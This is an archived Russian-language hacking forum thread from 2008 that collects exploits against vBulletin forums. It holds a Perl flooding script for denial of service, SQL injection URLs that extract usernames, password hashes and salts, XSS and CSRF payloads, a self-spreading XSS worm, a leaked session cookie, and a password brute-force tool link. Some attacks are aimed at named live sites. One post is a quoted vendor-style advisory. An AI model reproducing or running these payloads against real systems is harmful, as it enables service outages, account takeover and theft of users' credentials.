ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Vbulletin Password Brute Force |
13.07.2008, 21:04
|
|
Постоянный
Регистрация: 23.09.2007
Сообщений: 416
Провел на форуме:
1781065
Репутация:
869
|
|
Vbulletin Password Brute Force
################################################## ##########
## Author: M4k3 ##
## Script-Version: 1.0.2b ##
## Script-Name: vb_tool.php ##
## Copyright: pldsecurity.de / .com /pldsoft.com ##
## ##
## Comment: Next Version coming soon, check ##
## pldsecurity.com for Updates ##
################################################## ##########
Download:
http://rapidshare.com/files/13074135...rute_Force.rar
Последний раз редактировалось Fugitif; 19.07.2008 в 02:36..
|
|
|
vBulletin PhotoPost vBGallery v2.x Remote File Upload |
18.07.2008, 02:30
|
|
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935
Репутация:
1202
|
|
vBulletin PhotoPost vBGallery v2.x Remote File Upload
vBulletin PhotoPost vBGallery v2.x Remote File Upload
http://milw0rm.com/exploits/6082
Некорректная проверка расширения загружаемого файла позволяет залить вебшелл.
|
|
|
|
06.08.2008, 22:19
|
|
Постоянный
Регистрация: 12.04.2008
Сообщений: 403
Провел на форуме:
4700216
Репутация:
261
|
|
Ajax Reg+XSS
Маленьки баг у хаке Ajax Reg суд в что при установленом этом хаком при регастраци можно выводить html тэги без слэша (/)....и ешо в плагине найден пассивный хсс..
1.Любой версия Vbulletin
2.Ajax Reg v.3.06 http://xaknets.h18.ru/AjaxReg.rar
3.Примые Руки
Вывод
1.Пишем в поля логина при регах <b>BAG тоест получайем это жирный шрифт.
_http://xaknets.h18.ru/images/1.bmp
2.Тепер как обычно курсив <i>BaG получайем это.
_http://xaknets.h18.ru/images/2.bmp
3.Черкныти <u>BaG
_http://xaknets.h18.ru/images/3.bmp
4.Тепер самы Главное) ВЫводим вот это
<font size="7" color="#008000"><b> <marquee bgcolor="#808080">BAGNUTI</marquee></b></font>
Получайем вот это))
_http://xaknets.h18.ru/images/4.bmp
вот и все
XSS УЯЗВИМОСТЬ
http://indimoviez.com/forums/ajax.php?do=CheckUsername¶m="><script>alert("A NTICHAT")</script>
Последний раз редактировалось Nelzone; 02.11.2008 в 21:18..
|
|
|
|
11.08.2008, 02:34
|
|
Banned
Регистрация: 10.11.2006
Сообщений: 829
Провел на форуме:
2634544
Репутация:
1559
|
|
Vbulletin Doser
Код:
#!"c:\perl\bin\perl.exe"
use Socket;
if (@ARGV < 2) { &usage; }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http:\/\/)//eg;
for ($i=0; $i<9999999999999999999999999999999999999999999999999999999999999999999999; $i++)
{
$user="h4x0r".$rand.$i;
$data = "s=&do=process&query=$user&titleonly=0&starteronly=0&exactname=1&replyless=0&replylimit=3&searchdate=1&beforeafter=before&sortby=title&order=descending&showposts=1&forumchoice[]=0&childforums=1&dosearch=Search%20Now";
$len = length $data;
$foo = "POST ".$dir."search.php HTTP/1.1\r\n".
"Accept: */*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "|" ;
}
print "\n\n";
system('ping $host');
sub usage {
print "\tusage: \n";
print "\t$0 <host> </dir/>\n";
print "\tex: $0 127.0.0.1 /forum/\n";
print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n\n";
print "\~rippers~ team\n";
print "\twww.~rippers~.org\n\n";
exit();
};
|
|
|
|
vBulletin sql inject Downloads Mod |
16.08.2008, 17:33
|
|
Постоянный
Регистрация: 18.02.2007
Сообщений: 416
Провел на форуме:
3509350
Репутация:
412
|
|
vBulletin sql inject Downloads Mod
vBulletin sql inject Downloads Mod
site.com/fileinfo.php?id=-1674'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,17,concat(username,0x3a,password,0x3a,salt ),19,20,21,22,23,24,25,26+from+user/*
found by kobo
Последний раз редактировалось Elekt; 03.09.2008 в 03:00..
|
|
|
|
vBulletin Version: 3.6.8 Patch Level x |
20.08.2008, 00:27
|
|
Новичок
Регистрация: 29.01.2007
Сообщений: 12
Провел на форуме:
400944
Репутация:
16
|
|
vBulletin Version: 3.6.8 Patch Level x
Код:
###############################################################
Autor: NBBN
Founded: 5, January 2008
vBulletin Version: 3.6.8 Patch Level x and possible lower
Type: XSRF/XSS
Risk: Medium
###############################################################
##Explanation(english)##
My english is bad, but I try :-) . vBulletin 3.6.8 is XSRF vulnurable.
Administrators can use html in there own usertitle.
An attacker can update the profile of an administrator by sending a link to a
site with a code like this:
<html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form action="http://domain.tld/[path]/vBulletin/profile.php?do=updateprofile"
method="POST" name="form">
<input type="hidden" name="s" value="">
<input type="hidden" name="do" value="updateprofile">
<input type="hidden" name="customtext" value="###########XSS CODE#########">
<!-- Attacker's XSS Code -->
<input type="hidden" name="month" value="-1">
<input type="hidden" name="day" value="-1">
<input type="hidden" name="year" value="">
<input type="hidden" name="oldbirthday" value="">
<input type="hidden" name="showbirthday" value="2">
<input type="hidden" name="homepage" value="">
<input type="hidden" name="icq" value="">
<input type="hidden" name="aim" value="">
<input type="hidden" name="msn" value="">
<input type="hidden" name="yahoo" value="">
<input type="hidden" name="skype" value="">
</form>
</body>
</html>
Код:
If an attacker send a link in a pm for example, to the admin with a site
like the example code, the admin's usertitle updating and have a the code of
the attacker.The code executing if the admin have a post done in a thread
etc. An attacker can use this to steal the cookie of all user's who are
reading the thread.
##Explanation(Deutsch/German)##:
In vBulletin 3.6.8 gibt es eine XSRF Lücke, die dazu benutzt werden kann, um
XSS Code auszuführen. Admins können in ihren eigenen Benutzerrang HTML Code
verwenden. Das kann ein Angreifer ausnutzen um beliebigen html/javascript
code auszuführen, wenn er den oben stehenden code in eine Seite packt und
dann dem Admin eine Private Nachricht sendet, mit einem Link zu einer Seite
mit dem obigen HTML-Code. Somit ist es dem Angreifer möglich, alle Cookies
von den Benutzern zu klauen, die gerade einen Thread lesen,in welchem ein
Administrator gepostet hat.
Последний раз редактировалось exit; 20.08.2008 в 13:08..
|
|
|
|
Active XSS vBulletin <= 3.7.2 L2, 3.6.10 L4 |
25.08.2008, 00:23
|
|
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935
Репутация:
1202
|
|
Active XSS vBulletin <= 3.7.2 L2, 3.6.10 L4
Active XSS vBulletin <= 3.7.2 L2, 3.6.10 L4
_http://securityvulns.ru/Udocument391.html
Активка в всплывающем уведомлении о новом входящем ПМ.
"Show New Private Message Notification Pop-up" у юзера должно быть включено.
В теме ПМ сообщения:
Код HTML:
--></script><script>alert(/xss/)</script><!--
Последний раз редактировалось Elekt; 25.08.2008 в 00:32..
|
|
|
|
Vbulletin Plugin ChatBox Xss Vulnerability |
04.09.2008, 20:04
|
|
Постоянный
Регистрация: 23.09.2007
Сообщений: 416
Провел на форуме:
1781065
Репутация:
869
|
|
Vbulletin Plugin ChatBox Xss Vulnerability
Код:
####################################### Vbulletin Plugin ChatBox Xss Vulnerability #
Discovered By Alemin_Krali# al3m@bsdmail.org # www.al3m.blogspot.com
# Greetz : BeyazKurt,Kerem125,Cr@zy_King,Ercu_145,Abo Mohammed (Net Devil)# High Risk
Vulnerability! Xss Working!######################################note:You login site and xss try.
Ex:
http://www.localhost/misc.php?do=ccarc&cbt=xss
Example Site:
http://www.megaturks.net/forum/misc.php?do=ccarc&cbt=xss
and cookie
XSS acigi bulunan site=> www.megaturks.net — 16.08.2008 22:01 de kayit edilmistir. IP Adresi:
78.163.55.84 (whois)Cookies: bblastvisit=1218911541; bblastactivity=0;
bbforum_view=fcef3869fbbf346863082895ed158bd5de6700a1a-2-{i-170_i-1218911557_i-
158_i-1218911699_};bbpassword:
7750c66b19631528799b516d65de5ef1;bbuserid=9524;bbthread_lastview=f0d6496e44c2b0af
6b488fb24676aca245e8e60aa-1-{i-11619_i-1218911714_}
this big lammer center:)
a bugs life!
###########################################
Source:
http://securityvulns.com/Udocument371.html |
|
|
|
vBulletin 3.7.3 Visitor Message XSS/XSRF + worm Exploit |
21.11.2008, 15:40
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435
Репутация:
1013
|
|
vBulletin 3.7.3 Visitor Message XSS/XSRF + worm Exploit
Код:
/* -----------------------------
* Author = Mx
* Title = vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm
* Software = vBulletin
* Addon = Visitor Messages
* Version = 3.7.3
* Attack = XSS/XSRF
- Description = A critical vulnerability exists in the new vBulletin 3.7.3 software which comes included
+ with the visitor messages addon (a clone of a social network wall/comment area).
- When posting XSS, the data is run through htmlentities(); before being displayed
+ to the general public/forum members. However, when posting a new message,
- a new notification is sent to the commentee. The commenter posts a XSS vector such as
+ <script src="http://evilsite.com/nbd.js">, and when the commentee visits usercp.php
- under the domain, they are hit with an unfiltered xss attach. XSRF is also readily available
+ and I have included an example worm that makes the user post a new thread with your own
- specified subject and message.
* Enjoy. Greets to Zain, Ytcracker, and http://digitalgangster.com which was the first subject
* of the attack method.
* ----------------------------- */
function getNewHttpObject() {
var objType = false;
try {
objType = new ActiveXObject('Msxml2.XMLHTTP');
} catch(e) {
try {
objType = new ActiveXObject('Microsoft.XMLHTTP');
} catch(e) {
objType = new XMLHttpRequest();
}
}
return objType;
}
function getAXAH(url){
var theHttpRequest = getNewHttpObject();
theHttpRequest.onreadystatechange = function() {processAXAH();};
theHttpRequest.open("GET", url);
theHttpRequest.send(false);
function processAXAH(){
if (theHttpRequest.readyState == 4) {
if (theHttpRequest.status == 200) {
var str = theHttpRequest.responseText;
var secloc = str.indexOf('var SECURITYTOKEN = "');
var sectok = str.substring(21+secloc,secloc+51+21);
var posloc = str.indexOf('posthash" value="');
var postok = str.substring(17+posloc,posloc+32+17);
var subject = 'subject text';
var message = 'message text';
postAXAH('http://digitalgangster.com/4um/newthread.php?do=postthread&f=5', 'subject=' + subject + '&message=' + message + '&wysiwyg=0&taglist=&iconid=0&s=&securitytoken=' + sectok + '&f=5&do=postthread&posthash=' + postok + 'poststarttime=1&loggedinuser=1&sbutton=Submit+New+Thread&signature=1&parseurl=1&emailupdate=0&polloptions=4');
}
}
}
}
function postAXAH(url, params) {
var theHttpRequest = getNewHttpObject();
theHttpRequest.onreadystatechange = function() {processAXAHr(elementContainer);};
theHttpRequest.open("POST", url);
theHttpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=iso-8859-2');
theHttpRequest.send(params);
function processAXAHr(elementContainer){
if (theHttpRequest.readyState == 4) {
if (theHttpRequest.status == 200) {
}
}
}
}
getAXAH('http://digitalgangster.com/4um/newthread.php?do=newthread&f=5');
document.write('<iframe src="http://digitalgangster.com/4um/newthread.php?do=newthread&f=5">');
# milw0rm.com [2008-11-20]
http://milw0rm.com/exploits/7174 |
|
|
|
Multiple Sql Injection in vBulletin 3.7.4 |
24.11.2008, 21:57
|
|
Новичок
Регистрация: 06.05.2007
Сообщений: 11
Провел на форуме:
65891
Репутация:
0
|
|
Multiple Sql Injection in vBulletin 3.7.4
Author: Janek Vind "waraxe"
Date: 17. November 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-69.html
Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
vBulletin (abbreviated as vB) is a commercial Internet forum software produced
by Jelsoft Enterprises. It is written in PHP using a MySQL database server.
vBulletin is a professional, affordable community forum solution. Thousands of
clients, including many industry leading blue chip companies, have chosen
vBulletin - It's the ideal choice for any size of community.
Web: http://www.vbulletin.com/
List of found vulnerabilities
================================================== =============================
1. Sql Injection in "admincp/verify.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Impact: low
Preconditions: attacker must have admin account with Human Verification Manager
administer privileges
[---------- source code snippet start ----------]
if ($_POST['do'] == 'updateanswer')
{
$vbulletin->input->clean_array_gpc('p', array(
'answer' => TYPE_STR,
));
...
$db->query_write("
UPDATE " . TABLE_PREFIX . "hvanswer
SET answer = '" . $vbulletin->GPC['answer'] . "'
WHERE answerid = " . $vbulletin->GPC['answerid']
);
[----------- source code snippet end -----------]
It appears, that user submitted parameter "answer" is not properly sanitized
before using in sql query. As result sql injection is possible. Test will
induce sql error message:
Invalid SQL:
UPDATE vb_hvanswer
SET answer = 'war'axe'
WHERE answerid = 1;
2. Sql Injection in "admincp/attachmentpermission.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~
Impact: low
Preconditions: attacker must have admin account with Attachment Permissions
Manager administer privileges
As in previous case, user submitted parameter, this time it's "extension", is
used in sql query without proper snaitization. This results sql injection
vulnerability. For test log in as admin with needed privileges and then issue
GET request (using proper URI instead if example):
http://localhost/vbulletin374/admincp/attachmentpermission.php?do=edit&extension=war'axe
This results with error message from vBulletin:
Database error in vBulletin 3.7.4:
Invalid SQL:
SELECT size, width, height
FROM attachmenttype
WHERE extension = 'war'axe';
3. Sql Injection in "admincp/image.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~
Impact: low
Preconditions: attacker must have admin account with Avatars administer privileges
[---------- source code snippet start ----------]
if ($_POST['do'] == 'updatepermissions')
{
$vbulletin->input->clean_array_gpc('p', array(
'iperm' => TYPE_ARRAY,
'imagecategoryid' => TYPE_INT
));
...
foreach($vbulletin->GPC['iperm'] AS $usergroupid => $canuse)
{
if ($canuse == 0)
{
$db->query_write("
INSERT INTO " . TABLE_PREFIX . "imagecategorypermission
(
imagecategoryid,
usergroupid
)
VALUES
(
" . $vbulletin->GPC['imagecategoryid'] . ",
$usergroupid
)
[----------- source code snippet end -----------]
User-submitted array "iperm" is used in sql query without proper sanitization.
This results in sql injection. Testing ends with error message:
MySQL Error : Unknown column 'waraxe' in 'field list'
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe@yahoo.com
Janek Vind "waraxe"
Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Php shell (work in progress): http://phpaxe.com/
---------------------------------- [ EOF ] ---------------------------------
(C)
Последний раз редактировалось x3r0x; 24.11.2008 в 21:59..
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
